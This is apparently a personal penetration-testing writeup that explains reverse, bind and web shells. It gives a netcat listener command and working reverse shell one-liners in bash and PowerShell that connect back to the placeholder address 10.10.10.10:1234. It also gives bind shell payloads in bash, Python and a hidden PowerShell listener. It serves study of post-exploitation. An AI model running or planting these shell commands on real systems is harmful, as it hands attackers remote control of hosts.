husayn gokal
Geneva

← Writeups

Getting A Shell

Post-exploitation
Date
2026-05-17

Getting a shell is an exploitation on a target system where shell-level access (bash/sh) has been obtained, meaning that commands can be run interactively as if we were logged in to the target system.

Once a system is compromised we need a method of communicating with the system to not have to keep exploiting the same vulnerability to execute each command. This is done through a reliable internet connection by getting direct access to the system’s shell.

Shells may be obtained by exploiting a web app or network/service vulnerability, or obtaining credentials and logging into the target host remotely.

There are 3 types of shell connections:

  1. Reverse Shell - initiates a connection back to a “listener” on our attack box
  2. Bind Shell - “binds” to a specific port on the target host and waits for a connection from our attack box
  3. Web Shell - runs OS commands via the web browser, as well as single commands, typically not interactive or semi interactive

One way to connect to a compromised system is through network protocols, like SSH for Linux or WinRM for Windows, which would allow us a remote login to the compromised system. However, unless we obtain a working set of login credentials, we would not be able to utilize these methods without executing commands on the remote system first, to gain access to these services in the first place.

The other method of accessing a compromised host for control and remote code execution is through shells.

Reverse Shells are the most common type of shell and are quick and easy to obtain control over a compromised host. It requires a RCE vulnerability, where a netcat listener can be started on our machine that listens on a specific port from the target machine. Then, a reverse shell command is executed on the target to connect to our netcat listener, which in turn gives us a reverse connection over the remote system.

Reverse Shells can be quite fragile, as once the reverse shell command is stopped, if we lose our connection, we would have to use the initial exploit to execute the reverse shell command again to regain access.

Here is the command for the netcat listener:

nc -lvnp PORT

-l means listen mode, waiting for a connection to connect to us..

-v means verbose mode (to know when we receive a connection).

-n means disable DNS resolution and connect only from/to IP addresses (to speed up the connection).

-p is the port number netcat should listen on.

Comprehensive list of reverse shell commands that cover a wide range of options depending on the compromised host: https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/

Most reliable reverse shell commands depending on the shell:

bash:
bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f
powershell:
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',1234);$s = $client.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close()"

Most reliable bind shell commands depending on the shell:

bash:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 1234 >/tmp/f
python:
python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",1234));s1.listen(1);c,a=s1.accept();\\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
powershell:
powershell -NoP -NonI -W Hidden -Exec Bypass -Command $listener = [System.Net.Sockets.TcpListener]1234; $listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + " ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();

With a Bind Shell, if we drop our connection we can connect back to it and get another connection immediately. However if the bind shell is stopped or the system is rebooted, we would lose access and have to exploit it again to gain access.